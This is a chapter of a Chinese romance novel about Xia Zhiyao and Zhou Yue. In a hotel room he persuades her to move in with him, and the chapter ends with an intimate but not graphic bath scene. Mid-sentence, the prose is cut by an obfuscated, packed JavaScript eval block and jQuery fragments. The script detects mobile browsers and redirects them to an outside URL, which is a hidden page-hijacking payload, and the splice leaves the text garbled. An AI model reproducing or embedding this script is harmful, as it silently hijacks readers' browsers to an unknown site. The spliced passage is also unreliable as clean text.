夜色愈深，城市的霓虹透过酒店的落地窗洒下斑斓光影，如同潮水轻轻漫进室内，勾勒出一室温柔又带着冷意的剪影。
夏知遥懒懒地靠在沙发上，指尖漫无目的地翻着电视遥控，频道画面不断跳换，热闹却遥远，音量被调得极低，只剩下影像在眼前无声闪烁，像极了她此刻飘忽的心绪。
直到敲门声响起，将她从沉沉的思绪中拉回现实，门开的一瞬，夜风扑面而来，周越站在门外，黑色羊毛大衣裹着身形，领口微敞，发梢凌乱，脸颊泛着一层薄薄的寒意。
手里提着个鼓鼓囊囊的购物袋，走廊的光影落在他眉骨和鼻梁上，衬得那张本就干净的脸更加立体，他只是站着，肩膀微垂，眼神静静地落在她脸上，像一幅不动声色的画。
夏知遥倚在门框上，眉梢轻挑，唇角挂着一点若有若无的笑意：“怎么，来就来吧，还带礼物。”
她说着，懒洋洋地接过袋子，侧身让开门口：“进来吧。”
周越低声应了一句，迈步进门，他站在那儿脱下黑色大衣，动作利落自然，外套一搭在手臂上，露出里面那身剪裁考究的深蓝西装，衬衣扣得严谨，领带收得利落，袖口露出一截干净的白，整个人带着刚从会场出来的那种干净利落的克制感。
再配上鼻梁上的黑框眼镜，冷静清俊间透着书卷气，那种不费力却极具压迫感的矜贵模样，在暖色灯光下反而更显得令人心动。
夏知遥扫他一眼，眼角挑着点没藏住的笑意，没说话，转身走向客厅，一边解着羽绒服的扣子，一边在心里默默感慨：这男人要是再拎杯酒，简直可以直接去拍广告。
她背对着他将袋子放下，却在无声的空气中，莫名感到他还在盯着自己。
袋子里是件羽绒服，和她穿的周越那件是同款，她扫了他一眼，神情里带着点似笑非笑的玩味，像是在打量，也像是在试探。
羽绒服下面还塞着一个小塑料袋，她低头一捞，透明袋口露出熟悉的形状，动作顿住，眼角弯起一抹带着危险气息的笑，她没说话，只抬眸静静地看他一眼。
周越被她的目光盯得一滞，终于意识到她发现了什么，试图维持镇定。他低声咳了一下，嗓音有些发紧，却还是硬着头皮开口：“昨天……说实话，不太理智。我连你是不是安全期都没问。”
话一出口，他似乎意识到这句话有多直接、有多……愚蠢，耳尖迅速泛红，嘴角不自觉绷紧，眼神下意识避开，喉结轻微地滚动了一下，像个被戳破心事的少年。
夏知遥低头看着手中那盒安全套，指尖轻轻一转，动作不紧不慢，像是把玩，又像是蓄意拖延，眼神却始终没离开他脸上的那抹羞窘与挣扎。
良久，她像是终于决定放过他似的，唇角一挑，笑意懒懒地荡开，语气却轻得像一把羽毛：“那肯定是啊，不然也不能让你那样。”语调带着点天生的高傲与戏谑。
她顿了一下，眼尾缓缓挑起，补上那句更加致命的：“不过……作为处男，你懂得还挺多。”
周越像被噎了一下，脸上的红意还未退去，喉咙发出一声低低的哼声，想辩解，又根本不知道从哪句开口才不显得更窘，他咬了咬后槽牙，硬是挤出一句含糊的低语：“……那不也得学着点。”
他那双平日里沉稳冷静的眼睛，此刻却像刚被挑拨起情绪的水面，泛起细微的涟漪——慌乱、羞窘，又带着点掩饰不住的渴望。
夏知遥看着他那副嘴上倔强、心里憋屈的模样，忽然轻轻笑了一声，没再逗他，只是将那盒递给他：“那你就继续学着点。”
周越这才敢从背后抱住她，那一刻，他的下巴轻轻贴在她肩窝，呼吸缓慢沉稳，像是试图用这一个拥抱，把她重新拉回他身边。
可对夏知遥来说，这突如其来的触碰，却像一把钥匙，猛然打开了昨夜封存的记忆。
她眼神一滞，指尖微颤，那些唇齿相交、体温交缠的画面不受控制地浮现在脑海，心跳忽然一顿，像被什么轻轻撞了一下，又慢慢泛起一层波纹。
就在这时，周越的目光随意地扫了一眼她身后的房间，随后不带任何铺垫地开口：“我有个建议。”
“什么？”夏知遥挑眉，语气依旧懒散，像是在应付一句无关紧要的对白。她转身坐在沙发上，动作松弛自若，仿佛刚才那点隐约的情绪波动从未存在过。
周越没有立刻回应。他只是站在原地看了她一眼，眼神沉着，像是把某种犹豫压到了极点。
然后，他迈步向前，缓缓靠坐在她身旁，身体前倾，双手撑在她身体两侧的沙发靠垫上，动作克制却极具压迫感。
他俯下身，脸几乎贴近她，呼吸间的距离近得仿佛一伸手就能碰到她的睫毛。那双眼睛沉沉地望着她，神情没有丝毫调侃，也没有半点笑意，只有那种咄咄逼人的认真与执意：“你退了这个酒店，搬去我家。”
夏知遥怔了一下，随即轻笑出声，倚着沙发扶手，单手托着下巴，眉眼弯弯，语气里带着调侃式的不信任，像是听见了某个玩笑：“周越，你这借口也太随便了点吧？”
她那种游刃有余的反应，是她多年养成的本能防备。但周越并没有如她预料中那样笑着顺着她的话接下去。
他只是静静地看着她，那双眼睛沉静如夜，一字一句都像是刻意压下情绪后的冷静陈述：“我说的是真话。你手机刚丢，大衣也是别人好心送回来的。你一个人在外头，我不放心。”
他没有多余的解释，也没有试图绕圈，那种直接和坦白，反倒比任何温柔劝说更有重量。
夏知遥侧着头，笑意慢慢从眼尾褪去。她盯着他看了一会儿，忽然轻声开口，语气带着点慢慢浮现的锋利：“你是怕我不辞而别？”
她原以为他会如往常一样接话，调侃她几句，把沉重变得轻巧，把情绪藏在玩笑里。可周越没有。他只是看着她，眼神沉稳如水，没有任何躲闪。
然后他说了一个字，“是。”
只是这一个字，却像是扔进平静湖面的石子，击中了她心底最柔软的某一处。空气顿时安静下来，连窗外斑驳的霓虹都仿佛暗了几分。
夏知遥怔在原地，带着些不自觉的慌乱：“你……不至于这么紧张吧。”
她试图转移话题，却发现自己连语气都带着一丝被动的逃避感。
周越没说话，只是缓缓靠近，步伐稳而安静，像是一点点逼近她的防线。然后他俯下身，与她平视，靠得很近，近到她能听清他略显不稳的呼吸，感受到他身上夜风残存的凉意混着隐隐的灼热。
他的声音在这距离里低沉而有力，带着无法忽视的坚定：“我紧不紧张，你应该比我清楚。”
他顿了顿，盯着她的眼睛，像是在逼她面对，也像是在向她靠近某种答案，“知遥，我不想再让你跑了。”
那一刻，他的语气不再是少年时的试探，而是一个男人发出的宣言，不张扬，不求回应，却足够坚定，足够真实。
而夏知遥，在听到这句话的那一刻，却忽然发现，自己的心跳，比她想象中要快得多。
周越看着她，没有催促，唇角却缓缓扬起，眼神里多了一点不动声色的促狭与笑意，像是藏着少年时最熟稔的那点小伎俩。
“别想那么多。”他语气轻松，却不乏认真，“我说的很实际，要不然明早你去查查房价，咱俩比比，谁的更划算。”
这一句落下，认真中带着撒娇，现实里裹着一点不正经的耍赖，像他专属的那种“狡猾温柔”，落进耳中，竟让人忍俊不禁。
夏知遥终于没绷住，笑意倏地爬上眼角，随手抄起那件羽绒服作势往他身上一扔：“行吧，周越，你赢了。住你家就住你家，但说好了，我可没工夫听你整天絮絮叨叨。”
羽绒服轻轻砸在他肩头，他顺势一把接住，动作利落自然，眉眼间尽是压都压不住的愉悦与满足。
那双总带点清冷锋芒的眼睛，在此刻却柔得像是盛了整夜的月光，安静而深情。
“随便你。”他低声道，嗓音带着说不清的温度，“你在就好，怎么都行。”
他没有多余的修辞，也没有讨巧的句式，是将多年来藏在心底所有的思念、等待与不安悄然融进其中。
他走向沙发，脱下西装外套，随手搭在椅背上，那一抹深色在暖黄灯光下显出柔软的褶皱，修长的手指抬起，落在领带结上，轻轻一拉，领结顺势松开。
他低头，指尖从容地解下那条深色领带，布料滑落掌心的瞬间，带出一阵微不可察的轻响。
动作不多，却帅气得恰到好处，像是多年习惯在礼制之下活着的人，在这一刻终于卸下了规矩，卸下了风尘，也卸下了等待，一种骨子里的从容与笃定，仿佛这不是偶然投宿，而是一场早已注定的归途。
他站在她面前，像是卸下一场远行的旅人，也像是终于抵达了那个曾无数次想象过的目的地。
夏知遥静静地看着他，心底仿佛被什么轻轻拨了一下。
她好像看见了那个曾在夏天发高烧还咬牙逞强的少年，也看见了那个在霓虹与雪夜中逆光而来的男人，他们一个个悄然叠合，终于成为眼前这个再也无法忽视的人。
她轻轻呼出一口气，试图让语气听起来一如既往地平静：“反正今晚也扣钱，不如……就留下吧。”
话音落下的一瞬，她自己都怔了一下，像是没料到，自己会用这样的语气说出这样的话。
周越也微微一愣，随即唇角扬起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977829|177885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，笑意在他眼底绽开，亮得几乎要透出来。他没说话，只是往前走了两步，身影慢慢逼近，将她轻轻笼罩在他的呼吸与气息之间。
他俯下身，嗓音低哑而温柔，用尽所有克制的回应：“你在邀请我？”
他靠得很近，她能清晰地看见他睫毛轻颤的弧度，看见他眼里那点压不住的急切，被他藏得极深，却早已在这场沉默的靠近中溢了出来。
夏知遥别过头，垂眸不语，心跳一下一下地撞在胸口，乱，却不想逃，她轻轻点了点头，动作克制，却掩不住指尖微颤。
“别得了便宜还卖乖。”她低声道，眉眼浮起一丝似笑非笑的嘲意，却也带着某种悄然妥协的温柔，说着，她站起身，步伐平稳，转身走向浴室：“我洗澡去。”
身影掠过他身边时，带起一阵淡淡的香气，他看着她的背影，嘴角仍压着笑意，像是终于等到了命运不再错开的那个夜晚。
周越靠在沙发上，目光随着她的背影移动，忍不住开口：“你洗什么啊？一天要洗几回澡？”语气里带着点打趣，也带着点不满的撒娇，“夏知遥我发现你是真的有点洁癖啊。”
她转回身继续往浴室走，语气慢悠悠地补了一句，带着点毫不掩饰的抱怨：“我被你折腾得浑身都疼，不泡会儿怎么缓过来？”
过了一会儿，浴室门口响起轻微的脚步声，周越倚在门框上，暖黄的灯光从他身后倾洒下来，落在肩线与手腕上，为他整个人勾勒出一层温暖却不失力量感的剪影。
水汽氤氲，像薄雾笼罩在瓷砖与光影之间，模糊了现实的轮廓，也像是一层恰到好处的暧昧滤镜。雾气之中，那抹半倚在浴缸中的身影若隐若现。
夏知遥将身体沉在泡沫与热水之间，湿漉漉的发丝贴在肩头，肌肤被蒸汽熏得泛着微红的光泽，带着一种近乎不真实的柔软质感。
周越的目光定在她身上，眼神悄然深了几分，唇角勾起一抹若有若无的笑。他低声开口，嗓音带着水汽熏染后的低哑与温热：“你真会享受。”语气里藏着惯有的打趣，却也掩不住那种被她吸引得越来越深的宠溺。
夏知遥懒洋洋地睁开眼，目光掠过雾气看向他，斜睨一眼，抬手撩了撩耳边湿发，水珠顺着指尖滑落，动作说不出的随性撩人。
她唇角挑起，语气像是轻描淡写的玩笑，又像一场漫不经心的诱惑：“要不要试试？大浴缸又不是摆设。”
她指尖随意地在水面划过，溅起一圈细碎的水花，像是不经意的涟漪，也像是在无声地邀请。
周越挑了挑眉，没说话，只是目光静静地落在她身上，接着，他开始解开衣扣，衬衫一件件落下，长裤褪下，身形挺拔的男人终于毫无遮掩地暴露在水汽和光影之间。
宽肩窄腰，肌肉线条刚好，是一种真实的、带着力量与克制的自然美感。
周越低笑一声，抬腿踏入水中，动作不紧不慢，眼神却灼得像火。，他靠近她，水面轻轻荡漾，气息交叠的瞬间，仿佛连夜色都在悄然升温。
她轻笑了一声，声音被水汽熏得发软，尾音带着点懒懒的戏谑：“这会儿不觉得亏了吧？”
周越低头看着她，唇角勾起一抹无奈的笑，声音低低的，却带着少年般的得意与坦白：“那我天天泡健身房、踢球流汗……总不能白费劲吧？”
他顿了顿，笑意更深，眼角微弯，整个人都放松下来：“不就是为了这一刻能装个逼。”
话音刚落，他自己也失笑，笑意毫不掩饰地溢出眼底，带着一种终于如愿以偿的满足。
下一秒，他弯下身，迈入浴缸，温热的水声应声荡起，层层涟漪在他身体进入的那一刻迅速蔓延开来，水汽更浓，氤氲间仿佛整个世界都安静了，只剩水声与心跳交叠。
他靠近她，伸手一揽，毫不犹豫地将她整个圈进怀里，那动作自然得像是早已习惯，又带着一份小心翼翼的珍惜，仿佛在触碰什么易碎的东西。
夏知遥没有抗拒，身体顺势倚过去，头轻轻靠在他的肩窝，水声包围着他们，呼吸交叠，皮肤相贴，连心跳都仿佛同步。
他的手臂环在她身后，掌心落在她背脊最贴近心口的那一段，安静而温柔，像是通过这一个动作，把所有的思念与情绪慢慢按进水里，又缓缓捧了出来。
他低低地笑了一声，拥她更紧了些，暧昧的气息在空气中缓缓升腾，像一场悄无声息的火焰，一寸寸渗透彼此的呼吸和心跳。
他低头，额头抵着她的，眼神深得像能将人拉进去，声音低哑得几乎沙哑：“你跑不了了。”
她闭了闭眼，像是终于认输，也像是卸下了那副锋利的壳，软软地靠在他胸口，手指轻轻扣住他肩头，低低地笑了一下：“是啊，跑不了了。”